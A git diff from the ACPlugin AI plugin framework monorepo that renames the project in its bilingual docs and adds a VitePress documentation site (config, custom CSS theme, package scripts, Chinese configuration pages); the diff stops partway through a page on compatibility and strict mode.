80788b0..a81ba37 100644 --- a/llmdoc/index.md +++ b/llmdoc/index.md @@ -1,6 +1,6 @@ -# acplugin documentation +# ACPlugin documentation -acplugin is a canonical AI Plugin framework and CLI. Authors write Commands, Skills, Agents, and optional Extension sources once, then build Platform-owned deliveries for Claude Code, Codex, Cursor, Antigravity, OpenCode, and Pi. +ACPlugin is a canonical AI Plugin framework and CLI. Authors write Commands, Skills, Agents, and optional Extension sources once, then build Platform-owned deliveries for Claude Code, Codex, Cursor, Antigravity, OpenCode, and Pi. 关键稳定文档同时维护英文基准与中文对照;行为变化需要同步更新两种语言。 @@ -10,7 +10,7 @@ acplugin is a canonical AI Plugin framework and CLI. Authors write Commands, Ski ## Guides -- [Using acplugin](guides/usage.md) · [使用 acplugin](guides/usage.zh-CN.md) — scaffold, author, validate, build, and migrate. +- [Using ACPlugin](guides/usage.md) · [使用 ACPlugin](guides/usage.zh-CN.md) — scaffold, author, validate, build, and migrate. - [按 Package 代码导览](guides/package-code-tour.zh-CN.md) — 每个 workspace package 的职责、架构、数据流、实现伪代码与修改入口。 - [Release guide](guides/release.md) · [手动发布指南](guides/release.zh-CN.md) — independent public-package verification and fully manual publishing. - [中文代码注释规范](guides/commenting.zh-CN.md) — 中文声明注释、关键逻辑注释与自动守卫规则。 diff --git a/llmdoc/memory/reflections/2026-07-29-agent-plugin-format-audit.md b/llmdoc/memory/reflections/2026-07-29-agent-plugin-format-audit.md index 84be3a1..ca179f1 100644 --- a/llmdoc/memory/reflections/2026-07-29-agent-plugin-format-audit.md +++ b/llmdoc/memory/reflections/2026-07-29-agent-plugin-format-audit.md @@ -2,7 +2,7 @@ ## Task -- 审查 acplugin 当前转换实现,并用 2026-07-29 的官方资料确认 Claude Code、Codex、Cursor、OpenCode、Gemini CLI 与 Antigravity 的最新扩展格式。 +- 审查 ACPlugin 当前转换实现,并用 2026-07-29 的官方资料确认 Claude Code、Codex、Cursor、OpenCode、Gemini CLI 与 Antigravity 的最新扩展格式。 - 对照真实 marketplace、现有测试和并行工作树改动,区分已确认缺口、未提交修正与仍需验证的判断。 ## Expected vs Actual diff --git a/llmdoc/overview/project.md b/llmdoc/overview/project.md index 0b96374..c03f7f1 100644 --- a/llmdoc/overview/project.md +++ b/llmdoc/overview/project.md @@ -4,7 +4,7 @@ ## Identity -acplugin is a canonical AI Plugin framework and CLI. Authors maintain one framework-owned source layout and compile Platform-owned deliveries for Claude Code, Codex, Cursor, Antigravity, OpenCode, and Pi. +ACPlugin is a canonical AI Plugin framework and CLI. Authors maintain one framework-owned source layout and compile Platform-owned deliveries for Claude Code, Codex, Cursor, Antigravity, OpenCode, and Pi. The independently versioned public packages are: @@ -18,7 +18,7 @@ The independently versioned public packages are: - `@tokenroll/acplugin-extension-hooks` - `@tokenroll/acplugin-extension-mcp` -Core and the integration-test workspace are private packages. The main package bundles Core, while every official Platform and Extension imports the public SDK from `@tokenroll/acplugin` through a peer dependency. Consumers never depend on `@acplugin/*`. +Core, the integration-test workspace, Docs, and Playground are private packages. The main package bundles Core, while every official Platform and Extension imports the public SDK from `@tokenroll/acplugin` through a peer dependency. Docs and Playground are repository-only consumers and never enter public tarballs. Consumers never depend on `@acplugin/*`. ## Authoring boundary @@ -36,10 +36,11 @@ Instructions are intentionally outside the installable Plugin boundary. Hooks an - tsdown for package bundles/declarations/package validation - Rolldown for local Hook/MCP executable bundles - Vitest for private repository tests +- VitePress 1.6 and TypeDoc 0.28 for the private documentation workspace -The TypeScript 7 compiler is installed across workspaces through the cataloged `@typescript/native` alias, so every package `tsc` script uses 7.x. The root keeps the official `@typescript/typescript6` compatibility API under the `typescript` name only for tools such as typescript-eslint and the comment AST checker, because TypeScript 7 no longer exposes the legacy JavaScript compiler API. Vitest, tsdown, Rolldown, and Node types are also shared through the catalog; package-specific runtime and lint dependencies stay in the package that owns them. +The TypeScript 7 compiler is installed across workspaces through the cataloged `@typescript/native` alias, so every package `tsc` script uses 7.x. The root keeps the official `@typescript/typescript6` compatibility API under the `typescript` name only for tools such as typescript-eslint and the comment AST checker, because TypeScript 7 no longer exposes the legacy JavaScript compiler API. TypeDoc uses the same TypeScript 6 compatibility family inside `@acplugin/docs`; production package typechecking remains on TypeScript 7. Vitest, tsdown, Rolldown, and Node types are also shared through the catalog; package-specific runtime and lint dependencies stay in the package that owns them. -The CLI entry is `packages/acplugin/src/cli.ts`; the facade is `packages/acplugin/src/index.ts`, and `packages/acplugin/src/project-config.ts` loads trusted project configuration. Official integration factories live only in their own packages. +The CLI entry is `packages/acplugin/src/cli.ts`; the facade is `packages/acplugin/src/index.ts`, and `packages/acplugin/src/project-config.ts` loads trusted project configuration. Official integration factories live only in their own packages. `packages/docs` builds the VitePress/manual and generated API surface, while `packages/playground` exercises the published authoring boundary as an llmdoc v3 themed template smoke. ## Migration boundary diff --git a/llmdoc/overview/project.zh-CN.md b/llmdoc/overview/project.zh-CN.md index 26bca08..c5aaff8 100644 --- a/llmdoc/overview/project.zh-CN.md +++ b/llmdoc/overview/project.zh-CN.md @@ -4,7 +4,7 @@ ## 项目定位 -acplugin 是一套规范化 AI Plugin 框架和 CLI。作者只需维护一份由框架定义的源码结构,即可为 Claude Code、Codex、Cursor、Antigravity、OpenCode 和 Pi 编译由各 Platform 拥有的交付产物。 +ACPlugin 是一套规范化 AI Plugin 框架和 CLI。作者只需维护一份由框架定义的源码结构,即可为 Claude Code、Codex、Cursor、Antigravity、OpenCode 和 Pi 编译由各 Platform 拥有的交付产物。 独立版本化的公开 package 包括: @@ -18,7 +18,7 @@ acplugin 是一套规范化 AI Plugin 框架和 CLI。作者只需维护一份 - `@tokenroll/acplugin-extension-hooks` - `@tokenroll/acplugin-extension-mcp` -Core 和集成测试工作区是私有包。主包内联 Core;每个官方 Platform/Extension 则通过 peer dependency 从 `@tokenroll/acplugin` 导入公开 SDK。消费者不会依赖任何 `@acplugin/*` 包。 +Core、集成测试工作区、Docs 和 Playground 是私有包。主包内联 Core;每个官方 Platform/Extension 则通过 peer dependency 从 `@tokenroll/acplugin` 导入公开 SDK。Docs/Playground 只作为仓库内消费者,不进入公开 tarball。消费者不会依赖任何 `@acplugin/*` 包。 ## 创作边界 @@ -36,10 +36,11 @@ Instructions 被有意排除在可安装 Plugin 边界之外。Hooks 和 MCP 是 - tsdown 负责包 Bundle、声明文件和包结构校验 - Rolldown 负责本地 Hook/MCP 可执行文件 Bundle - Vitest 负责仓库内部测试 +- VitePress 1.6 和 TypeDoc 0.28 负责私有文档 workspace -各 Workspace 通过 catalog 中的 `@typescript/native` 别名安装 TypeScript 7 编译器,因此所有 Package 的 `tsc` Script 都实际使用 7.x。由于 TypeScript 7 不再暴露旧 JavaScript Compiler API,根目录只为 typescript-eslint 和注释 AST 检查器把官方 `@typescript/typescript6` 兼容 API 安装为 `typescript`。Vitest、tsdown、Rolldown 和 Node 类型同样通过 catalog 共享;平台专属运行时与 Lint 依赖仍由实际使用它们的 Package 独立声明。 +各 Workspace 通过 catalog 中的 `@typescript/native` 别名安装 TypeScript 7 编译器,因此所有 Package 的 `tsc` Script 都实际使用 7.x。由于 TypeScript 7 不再暴露旧 JavaScript Compiler API,根目录只为 typescript-eslint 和注释 AST 检查器把官方 `@typescript/typescript6` 兼容 API 安装为 `typescript`。TypeDoc 在 `@acplugin/docs` 内使用同一 TypeScript 6 兼容系列,正式 Package typecheck 仍保持 TypeScript 7。Vitest、tsdown、Rolldown 和 Node 类型同样通过 catalog 共享;平台专属运行时与 Lint 依赖仍由实际使用它们的 Package 独立声明。 -CLI 入口是 `packages/acplugin/src/cli.ts`;公开门面位于 `packages/acplugin/src/index.ts`,`packages/acplugin/src/project-config.ts` 负责加载可信工程配置。官方集成工厂只存在于各自 package 中。 +CLI 入口是 `packages/acplugin/src/cli.ts`;公开门面位于 `packages/acplugin/src/index.ts`,`packages/acplugin/src/project-config.ts` 负责加载可信工程配置。官方集成工厂只存在于各自 package 中。`packages/docs` 构建 VitePress 手写内容与自动 API,`packages/playground` 则以 llmdoc v3 主题模板验证已发布作者边界。 ## Migration 边界 diff --git a/llmdoc/reference/conversion-matrix.md b/llmdoc/reference/conversion-matrix.md index 798a5aa..c1faabf 100644 --- a/llmdoc/reference/conversion-matrix.md +++ b/llmdoc/reference/conversion-matrix.md @@ -2,7 +2,7 @@ > [中文对照](conversion-matrix.zh-CN.md) -This matrix describes canonical acplugin 1.0 builds. Tolerant conversion code below `packages/acplugin/src/migration/legacy/` belongs only to Migration and is not another build path. +This matrix describes canonical ACPlugin 1.0 builds. Tolerant conversion code below `packages/acplugin/src/migration/legacy/` belongs only to Migration and is not another build path. ## Delivery and Components @@ -15,7 +15,7 @@ This matrix describes canonical acplugin 1.0 builds. Tolerant conversion code be | Public files | Plugin-root copy | Plugin-root copy | Plugin-root copy | Plugin-root copy | Workspace-root copy | Package-root copy | | Separate Marketplace distribution | Optional | Optional | Not generated | Not generated | Not applicable | Not applicable | -`native` means the Platform has an equivalent installable resource. `transform` means acplugin emits a different native resource while preserving the workflow intent. `degraded` means an important runtime guarantee cannot be preserved. Strict mode rejects any degraded or unsupported result; use `--no-strict` only after reviewing the structured compatibility report. +`native` means the Platform has an equivalent installable resource. `transform` means ACPlugin emits a different native resource while preserving the workflow intent. `degraded` means an important runtime guarantee cannot be preserved. Strict mode rejects any degraded or unsupported result; use `--no-strict` only after reviewing the structured compatibility report. OpenCode is intentionally a workspace overlay and does not receive a fabricated generic `package.json`. Pi is a real npm package and its manifest must not leak workspace/private fields. Antigravity emits only Manifest fields confirmed by its public contract. diff --git a/llmdoc/reference/conversion-matrix.zh-CN.md b/llmdoc/reference/conversion-matrix.zh-CN.md index f293a9a..34729a3 100644 --- a/llmdoc/reference/conversion-matrix.zh-CN.md +++ b/llmdoc/reference/conversion-matrix.zh-CN.md @@ -2,7 +2,7 @@ > [English version](conversion-matrix.md) -本矩阵描述规范 acplugin 1.0 构建。`packages/acplugin/src/migration/legacy/` 下的容错转换代码只属于 Migration,不是另一条构建路径。 +本矩阵描述规范 ACPlugin 1.0 构建。`packages/acplugin/src/migration/legacy/` 下的容错转换代码只属于 Migration,不是另一条构建路径。 ## 交付形态与 Component diff --git a/llmdoc/reference/domain-glossary.md b/llmdoc/reference/domain-glossary.md index 26723b1..50cf737 100644 --- a/llmdoc/reference/domain-glossary.md +++ b/llmdoc/reference/domain-glossary.md @@ -1,6 +1,6 @@ # Domain glossary -These terms distinguish related outcomes and ordering rules in the acplugin lifecycle. +These terms distinguish related outcomes and ordering rules in the ACPlugin lifecycle. | Term | Definition | |---|---| diff --git a/llmdoc/reference/domain-glossary.zh-CN.md b/llmdoc/reference/domain-glossary.zh-CN.md index ce5cb49..5ca08be 100644 --- a/llmdoc/reference/domain-glossary.zh-CN.md +++ b/llmdoc/reference/domain-glossary.zh-CN.md @@ -1,6 +1,6 @@ # 领域术语 -以下术语用于区分 acplugin 生命周期中相近但不同的结果与顺序规则。 +以下术语用于区分 ACPlugin 生命周期中相近但不同的结果与顺序规则。 | 术语 | 定义 | |---|---| diff --git a/llmdoc/startup.md b/llmdoc/startup.md index 8c5095f..4b5cfbf 100644 --- a/llmdoc/startup.md +++ b/llmdoc/startup.md @@ -5,11 +5,11 @@ Read [Project overview](overview/project.md) and [System architecture](architect Keep these invariants: - pnpm monorepo without Turbo; Node.js >=20; ESM-only. -- `@tokenroll/acplugin`, six official Platform packages, and the official Hooks/MCP Extensions are public and independently versioned; only Core and the test workspace are private. +- `@tokenroll/acplugin`, six official Platform packages, and the official Hooks/MCP Extensions are public and independently versioned; Core, test, Docs, and Playground are private. - Core owns one lifecycle and transaction; Extensions join through restricted Adapters, while Platforms own output schemas and distributions. - Commands, Skills, and Agents are Core Components. Instructions are out of scope. - `platforms` is required and contains explicitly imported package instances. Only `init` selects Claude Code and Codex when no scaffold option is supplied. - Migration stays lazy and isolated under `packages/acplugin/src/migration/`; legacy code is not normal runtime architecture. - Preserve deterministic, strict, whole-output builds. Official integrations import only the public main-package SDK through peer dependencies, and no public package exposes a private `@acplugin/*` runtime dependency. -Use `pnpm run check` for repository validation and `pnpm run release:verify` for packed external-consumer verification. +Use `pnpm run check` for runtime repository validation, `pnpm run docs:check` for Docs/Playground validation, and `pnpm run release:verify` for packed external-consumer verification. diff --git a/package.json b/package.json index 6107c26..58ad0d5 100644 --- a/package.json +++ b/package.json @@ -10,6 +10,17 @@ "scripts": { "build": "pnpm --filter @acplugin/core run build && pnpm --filter \"@tokenroll/acplugin-platform-*\" run build && pnpm --filter \"@tokenroll/acplugin-extension-*\" run build && pnpm --filter @tokenroll/acplugin run build", "dev": "pnpm --filter @tokenroll/acplugin run dev", + "docs:api": "pnpm --filter @acplugin/docs run api", + "docs:dev": "pnpm --filter @acplugin/docs run dev", + "docs:build": "pnpm --filter @acplugin/docs run build", + "docs:preview": "pnpm --filter @acplugin/docs run preview", + "docs:verify": "node scripts/verify-docs.mjs", + "playground:typecheck": "pnpm --filter @acplugin/playground run typecheck", + "playground:validate": "pnpm --filter @acplugin/playground run validate", + "playground:build": "pnpm --filter @acplugin/playground run build", + "playground:verify": "node scripts/verify-playground.mjs", + "playground:check": "pnpm run build && pnpm run playground:typecheck && pnpm run playground:verify && pnpm run playground:build", + "docs:check": "pnpm run docs:build && pnpm run docs:verify && pnpm run playground:check", "pretest": "pnpm run build", "test": "pnpm --config.enable-pre-post-scripts=false -r --if-present run test", "test:watch": "pnpm --filter @acplugin/test run test:watch", diff --git a/packages/docs/.vitepress/config.mts b/packages/docs/.vitepress/config.mts new file mode 100644 index 0000000..1001f67 --- /dev/null +++ b/packages/docs/.vitepress/config.mts @@ -0,0 +1,128 @@ +import { defineConfig } from 'vitepress'; +import typedocSidebar from '../api/typedoc-sidebar.json'; + +/** ACPlugin 文档站的稳定导航、品牌资源与本地构建配置。 */ +export default defineConfig({ + lang: 'zh-CN', + title: 'ACPlugin', + description: '统一的 AI Plugin 框架与 CLI', + cleanUrls: true, + lastUpdated: false, + head: [ + ['link', { rel: 'icon', type: 'image/svg+xml', href: '/acplugin-mark.svg' }], + ['meta', { name: 'theme-color', content: '#f6c915' }], + ], + markdown: { + image: { lazyLoading: true }, + }, + themeConfig: { + logo: { + light: '/acplugin-logo.svg', + dark: '/acplugin-logo-dark.svg', + alt: 'ACPlugin', + }, + siteTitle: false, + nav: [ + { text: '指南', link: '/guide/' }, + { text: '配置', link: '/config/' }, + { text: '平台', link: '/platforms/' }, + { text: '扩展', link: '/extensions/' }, + { + text: '生态', + items: [ + { text: '🧩 生态开发', link: '/ecosystem/' }, + { text: '🧪 Playground', link: '/playground/' }, + { text: '📚 参考资源', link: '/resources/' }, + ], + }, + { text: 'API', link: '/api/' }, + ], + sidebar: { + '/guide/': [ + { + text: '开始', + items: [ + { text: '指南总览', link: '/guide/' }, + { text: '为什么使用 ACPlugin', link: '/guide/why-acplugin' }, + { text: '快速开始', link: '/guide/getting-started' }, + { text: '工程结构', link: '/guide/project-structure' }, + ], + }, + { + text: '核心工作流', + items: [ + { text: 'Commands、Skills 与 Agents', link: '/guide/commands-skills-agents' }, + { text: '构建与校验', link: '/guide/build-and-validate' }, + { text: 'CLI', link: '/guide/cli' }, + { text: 'Migration', link: '/guide/migration' }, + { text: '故障排查', link: '/guide/troubleshooting' }, + ], + }, + ], + '/config/': [ + { text: '配置总览', link: '/config/' }, + { text: '工程元数据', link: '/config/project-metadata' }, + { text: 'Public 文件', link: '/config/public-files' }, + { text: '构建选项', link: '/config/build-options' }, + { text: '兼容性与 strict', link: '/config/compatibility-and-strictness' }, + ], + '/platforms/': [ + { text: '平台总览', link: '/platforms/' }, + { text: 'Claude Code', link: '/platforms/claude-code' }, + { text: 'Codex', link: '/platforms/codex' }, + { text: 'Cursor', link: '/platforms/cursor' }, + { text: 'Antigravity', link: '/platforms/antigravity' }, + { text: 'OpenCode', link: '/platforms/opencode' }, + { text: 'Pi', link: '/platforms/pi' }, + ], + '/extensions/': [ + { text: '扩展总览', link: '/extensions/' }, + { text: 'Hooks', link: '/extensions/hooks' }, + { text: 'MCP', link: '/extensions/mcp' }, + ], + '/ecosystem/': [ + { text: '生态开发总览', link: '/ecosystem/' }, + { text: 'Platform 开发', link: '/ecosystem/platform-authoring' }, + { text: 'Extension 开发', link: '/ecosystem/extension-authoring' }, + { text: 'Lifecycle 契约', link: '/ecosystem/lifecycle-contract' }, + { text: 'Artifact 与 Document', link: '/ecosystem/artifacts-and-documents' }, + { text: 'Package 与 peer 边界', link: '/ecosystem/package-and-peer-boundaries' }, + ], + '/playground/': [ + { text: 'Playground 总览', link: '/playground/' }, + { text: 'llmdoc v3 模板', link: '/playground/llmdoc-v3' }, + ], + '/resources/': [ + { text: '资源总览', link: '/resources/' }, + { text: '兼容性矩阵', link: '/resources/compatibility-matrix' }, + { text: '确定性构建', link: '/resources/deterministic-builds' }, + { text: '安全模型', link: '/resources/security-model' }, + { text: 'Package map', link: '/resources/package-map' }, + ], + '/api/': typedocSidebar, + }, + search: { + provider: 'local', + options: { + miniSearch: { + searchOptions: { fuzzy: 0.2, prefix: true }, + }, + }, + }, + socialLinks: [ + { icon: 'github', link: 'https://github.com/TokenRollAI/acplugin' }, + ], + outline: { level: [2, 3], label: '本页内容' }, + docFooter: { prev: '上一页', next: '下一页' }, + darkModeSwitchLabel: '外观', + lightModeSwitchTitle: '切换到浅色主题', + darkModeSwitchTitle: '切换到深色主题', + sidebarMenuLabel: '目录', + returnToTopLabel: '返回顶部', + externalLinkIcon: true, + footer: { + message: '为可移植的 AI 工作流而构建 · MIT License', + copyright: 'ACPlugin by TokenRoll', + }, + }, +}); diff --git a/packages/docs/.vitepress/theme/custom.css b/packages/docs/.vitepress/theme/custom.css new file mode 100644 index 0000000..5fb8c3d --- /dev/null +++ b/packages/docs/.vitepress/theme/custom.css @@ -0,0 +1,444 @@ +:root { + --acp-banana-50: #fffdf2; + --acp-banana-100: #fff8ce; + --acp-banana-200: #ffed8a; + --acp-banana-300: #ffdd45; + --acp-banana-400: #f6c915; + --acp-banana-500: #dca900; + --acp-ink: #20221b; + --acp-ink-muted: #5d604f; + --acp-border: rgb(138 101 0 / 18%); + --acp-shadow: 0 18px 50px rgb(112 81 0 / 10%); + --acp-code-border: rgb(111 81 0 / 18%); + --acp-code-label: #765900; + + --vp-c-brand-1: #856000; + --vp-c-brand-2: #6f4f00; + --vp-c-brand-3: #553c00; + --vp-c-brand-soft: rgb(246 201 21 / 17%); + --vp-c-bg: #fffdf7; + --vp-c-bg-alt: #fff9e8; + --vp-c-bg-elv: #fffefb; + --vp-c-bg-soft: #fff8df; + --vp-c-divider: rgb(88 68 7 / 14%); + --vp-c-gutter: rgb(88 68 7 / 10%); + --vp-c-text-1: var(--acp-ink); + --vp-c-text-2: var(--acp-ink-muted); + --vp-code-block-color: #46483e; + --vp-code-block-bg: #f8f4e7; + --vp-code-block-divider-color: rgb(111 81 0 / 14%); + --vp-code-line-highlight-color: rgb(246 201 21 / 12%); + --vp-code-copy-code-bg: #fffdf7; + --vp-code-copy-code-hover-bg: #fff8df; + --vp-code-tab-divider: var(--vp-code-block-divider-color); + --vp-home-hero-name-color: transparent; + --vp-home-hero-name-background: linear-gradient(110deg, #795500 0%, #c28c00 38%, #f6c915 66%, #9b6b00 100%); + --vp-home-hero-image-background-image: radial-gradient(circle, rgb(255 221 69 / 50%) 0%, rgb(246 201 21 / 16%) 48%, transparent 72%); + --vp-home-hero-image-filter: blur(4px); +} + +.dark { + --acp-ink: #fffbed; + --acp-ink-muted: #c9c6b7; + --acp-border: rgb(255 221 69 / 18%); + --acp-shadow: 0 18px 60px rgb(0 0 0 / 28%); + --acp-code-border: rgb(255 221 69 / 16%); + --acp-code-label: #d9c774; + + --vp-c-brand-1: #ffdd45; + --vp-c-brand-2: #f6c915; + --vp-c-brand-3: #d6a817; + --vp-c-brand-soft: rgb(255 221 69 / 14%); + --vp-c-bg: #171812; + --vp-c-bg-alt: #11120e; + --vp-c-bg-elv: #202119; + --vp-c-bg-soft: #24251c; + --vp-c-divider: rgb(255 240 177 / 12%); + --vp-c-gutter: rgb(255 240 177 / 8%); + --vp-c-text-1: var(--acp-ink); + --vp-c-text-2: var(--acp-ink-muted); + --vp-code-block-color: #d7dacb; + --vp-code-block-bg: #1d1f19; + --vp-code-block-divider-color: rgb(255 221 69 / 12%); + --vp-code-line-highlight-color: rgb(255 221 69 / 10%); + --vp-code-copy-code-bg: #292b23; + --vp-code-copy-code-hover-bg: #32342b; + --vp-home-hero-name-background: linear-gradient(110deg, #fff3ad 0%, #ffdd45 45%, #e3b20b 100%); + --vp-home-hero-image-background-image: radial-gradient(circle, rgb(255 221 69 / 32%) 0%, rgb(246 201 21 / 12%) 52%, transparent 72%); +} + +body { + background-image: + radial-gradient(circle at 8% 4%, rgb(255 221 69 / 10%), transparent 24rem), + radial-gradient(circle at 94% 32%, rgb(246 201 21 / 7%), transparent 28rem); + background-attachment: fixed; +} + +::selection { + color: #171812; + background: var(--acp-banana-300); +} + +.VPNav { + border-bottom: 1px solid var(--vp-c-divider); + background: color-mix(in srgb, var(--vp-c-bg) 82%, transparent); + backdrop-filter: blur(18px) saturate(150%); +} + +.VPNavBarTitle .logo { + width: 120px; + height: auto; + max-height: 34px; +} + +.VPNavBarMenuLink, +.VPNavBarMenuGroup .button { + font-weight: 650; + letter-spacing: 0.01em; +} + +.VPNavBarMenuLink.active, +.VPNavBarMenuLink:hover, +.VPNavBarMenuGroup .button:hover { + color: var(--vp-c-brand-1); +} + +.VPNavBarSearch .DocSearch-Button, +.VPNavBarSearch .VPNavBarSearchButton { + border: 1px solid var(--acp-border); + border-radius: 999px; + background: color-mix(in srgb, var(--vp-c-bg-soft) 78%, transparent); +} + +.VPHomeHero { + padding-top: 112px !important; +} + +.VPHomeHero .container { + gap: 48px; +} + +.VPHomeHero .name { + max-width: 760px; + letter-spacing: -0.055em; +} + +.VPHomeHero .text { + max-width: 760px; + letter-spacing: -0.035em; +} + +.VPHomeHero .tagline { + max-width: 650px; + font-size: 21px; + line-height: 1.7; +} + +.VPHomeHero .image-bg { + width: 360px; + height: 360px; +} + +.VPHomeHero .image-src { + width: 260px; + height: 260px; + filter: drop-shadow(0 24px 32px rgb(103 75 0 / 22%)); + animation: acp-float 7s ease-in-out infinite; +} + +.VPButton { + border-radius: 999px !important; + font-weight: 750 !important; + letter-spacing: 0.01em; + transition: transform 180ms ease, box-shadow 180ms ease, background-color 180ms ease !important; +} + +.VPButton.brand { + border-color: #e0af05 !important; + color: #20221b !important; + background: linear-gradient(135deg, var(--acp-banana-300), var(--acp-banana-400)) !important; + box-shadow: 0 10px 26px rgb(184 133 0 / 24%); +} + +.VPButton.brand:hover { + border-color: #c99700 !important; + background: linear-gradient(135deg, #ffe66f, var(--acp-banana-300)) !important; + box-shadow: 0 14px 32px rgb(184 133 0 / 30%); + transform: translateY(-2px); +} + +.VPButton.alt { + border-color: var(--acp-border) !important; + background: color-mix(in srgb, var(--vp-c-bg-elv) 84%, transparent) !important; + box-shadow: 0 8px 22px rgb(78 61 7 / 8%); +} + +.VPButton.alt:hover { + border-color: var(--vp-c-brand-1) !important; + transform: translateY(-2px); +} + +.VPFeatures { + padding-bottom: 72px !important; +} + +.VPFeature { + position: relative; + overflow: hidden; + border: 1px solid var(--acp-border) !important; + border-radius: 20px !important; + background: color-mix(in srgb, var(--vp-c-bg-elv) 92%, transparent) !important; + box-shadow: 0 10px 34px rgb(83 63 0 / 6%); + transition: border-color 200ms ease, box-shadow 200ms ease, transform 200ms ease; +} + +.VPFeature::before { + position: absolute; + top: 0; + right: 0; + left: 0; + height: 3px; + background: linear-gradient(90deg, var(--acp-banana-300), var(--acp-banana-500)); + content: ''; + opacity: 0; + transition: opacity 200ms ease; +} + +.VPFeature:hover { + border-color: rgb(218 166 0 / 42%) !important; + box-shadow: var(--acp-shadow); + transform: translateY(-5px); +} + +.VPFeature:hover::before { + opacity: 1; +} + +.VPFeature .icon { + border: 1px solid rgb(218 166 0 / 18%); + background: var(--vp-c-brand-soft) !important; + box-shadow: inset 0 1px 0 rgb(255 255 255 / 34%); +} + +.VPFeature .title { + font-size: 17px; + letter-spacing: -0.015em; +} + +.VPDoc .content-container { + max-width: 760px !important; +} + +.vp-doc h1 { + margin-bottom: 24px; + font-size: clamp(34px, 5vw, 48px); + line-height: 1.12; + letter-spacing: -0.045em; +} + +.vp-doc h2 { + border-top-color: var(--acp-border); + letter-spacing: -0.025em; +} + +.vp-doc h2::after { + display: block; + width: 42px; + height: 4px; + margin-top: 10px; + border-radius: 999px; + background: linear-gradient(90deg, var(--acp-banana-400), var(--acp-banana-300)); + content: ''; +} + +.vp-doc h3 { + letter-spacing: -0.015em; +} + +.vp-doc a { + text-decoration-color: rgb(218 166 0 / 35%); + text-decoration-thickness: 2px; + text-underline-offset: 3px; +} + +.vp-doc :not(pre) > code { + border: 1px solid var(--acp-border); + border-radius: 7px; + color: var(--vp-c-brand-1); + background: var(--vp-c-brand-soft); +} + +.vp-doc div[class*='language-'] { + border: 1px solid var(--acp-code-border); + border-radius: 16px; + box-shadow: 0 12px 30px rgb(53 45 18 / 9%); +} + +.vp-doc div[class*='language-'] > span.lang { + color: var(--acp-code-label); +} + +.vp-doc blockquote { + border-left: 4px solid var(--acp-banana-400); + border-radius: 0 12px 12px 0; + background: var(--vp-c-brand-soft); +} + +.vp-doc table { + display: table; + width: 100%; + max-width: 100%; + border-collapse: separate; + border-spacing: 0; + border: 1px solid var(--acp-border); + border-radius: 14px; + overflow: hidden; +} + +.vp-doc th, +.vp-doc td { + overflow-wrap: anywhere; +} + +.vp-doc th { + background: var(--vp-c-brand-soft); +} + +.vp-doc tr:last-child td:first-child { + border-bottom-left-radius: 13px; +} + +.vp-doc tr:last-child td:last-child { + border-bottom-right-radius: 13px; +} + +.vp-doc .custom-block { + border-radius: 14px; + box-shadow: inset 4px 0 0 rgb(246 201 21 / 72%); +} + +.VPSidebarItem.is-active > .item .link > .text { + color: var(--vp-c-brand-1); + font-weight: 750; +} + +.VPDocAsideOutline .outline-marker { + background-color: var(--acp-banana-400); +} + +.acp-home-intro { + margin: 24px auto 56px; + text-align: center; +} + +.acp-kicker { + display: inline-flex; + align-items: center; + gap: 8px; + margin: 0 0 12px; + padding: 7px 12px; + border: 1px solid var(--acp-border); + border-radius: 999px; + color: var(--vp-c-brand-1); + background: var(--vp-c-brand-soft); + font-size: 13px; + font-weight: 750; + letter-spacing: 0.06em; + text-transform: uppercase; +} + +.acp-flow { + display: grid; + grid-template-columns: repeat(7, auto); + align-items: center; + justify-content: center; + gap: 12px; + margin: 32px 0 52px; +} + +.acp-flow__step { + min-width: 128px; + padding: 18px 16px; + border: 1px solid var(--acp-border); + border-radius: 16px; + background: color-mix(in srgb, var(--vp-c-bg-elv) 92%, transparent); + box-shadow: 0 10px 28px rgb(83 63 0 / 7%); + text-align: center; +} + +.acp-flow__icon { + display: block; + margin-bottom: 8px; + font-size: 24px; +} + +.acp-flow__label { + color: var(--vp-c-text-1); + font-size: 14px; + font-weight: 750; +} + +.acp-flow__arrow { + color: var(--acp-banana-500); + font-size: 22px; + font-weight: 800; +} + +@keyframes acp-float { + 0%, + 100% { + transform: translateY(0) rotate(-2deg); + } + + 50% { + transform: translateY(-12px) rotate(2deg); + } +} + +@media (max-width: 768px) { + .VPHomeHero { + padding-top: 72px !important; + } + + .VPHomeHero .tagline { + font-size: 18px; + } + + .VPHomeHero .image-src { + width: 210px; + height: 210px; + } + + .vp-doc table { + table-layout: fixed; + } + + .vp-doc th, + .vp-doc td { + padding: 8px 10px; + } + + .vp-doc td code { + white-space: normal; + overflow-wrap: anywhere; + } + + .acp-flow { + grid-template-columns: 1fr; + } + + .acp-flow__arrow { + transform: rotate(90deg); + } +} + +@media (prefers-reduced-motion: reduce) { + .VPHomeHero .image-src { + animation: none; + } + + .VPButton, + .VPFeature { + transition: none !important; + } +} diff --git a/packages/docs/.vitepress/theme/index.ts b/packages/docs/.vitepress/theme/index.ts new file mode 100644 index 0000000..14c9676 --- /dev/null +++ b/packages/docs/.vitepress/theme/index.ts @@ -0,0 +1,5 @@ +import DefaultTheme from 'vitepress/theme'; +import './custom.css'; + +/** 基于 VitePress 默认主题的轻量 ACPlugin 主题。 */ +export default DefaultTheme; diff --git a/packages/docs/config/build-options.md b/packages/docs/config/build-options.md new file mode 100644 index 0000000..96d4eba --- /dev/null +++ b/packages/docs/config/build-options.md @@ -0,0 +1,34 @@ +# 构建选项 + +```ts +export default defineConfig({ + // ...metadata and platforms + srcDir: 'src', + build: { + outDir: 'dist', + strict: true, + }, +}); +``` + +| 字段 | 默认值 | 说明 | +| --- | --- | --- | +| `srcDir` | `src` | Canonical 与 Extension 作者源码根 | +| `build.outDir` | `dist` | 框架完整托管的输出根 | +| `build.strict` | `true` | 是否拒绝 degraded/unsupported 兼容性 | + +路径都相对于配置文件所在工程根解析,必须留在根目录内。`srcDir`、Public 和 `outDir` 不能相互包含,`outDir` 也不能等于工程根。 + +## 函数式配置 + +```ts +export default defineConfig(({ command, mode }) => ({ + name: 'my-plugin', + version: '1.0.0', + description: `${command} configuration`, + platforms: [claudeCode()], + build: { strict: mode === 'production' }, +})); +``` + +环境只包含 `command` 和 `mode`。`dev` 默认 development,其余项目命令默认 production;CLI `--mode` 可覆盖。配置加载不会自动读取 `.env`。 diff --git a/packages/docs/config/compatibility-and-strictness.md b/packages/docs/config/compatibility-and-strictness.md new file mode 100644 index 0000000..3e7fd05 --- /dev/null +++ b/packages/docs/config/compatibility-and-strictness.md @@ -0,0 +1,35 @@ +# 兼容性与 strict + +兼容性是逐 Platform、逐资源、逐字段报告的显式结果: + +| Level | 含义 | +| --- | --- | +| `native` | 目标平台直接表达同一语义 | 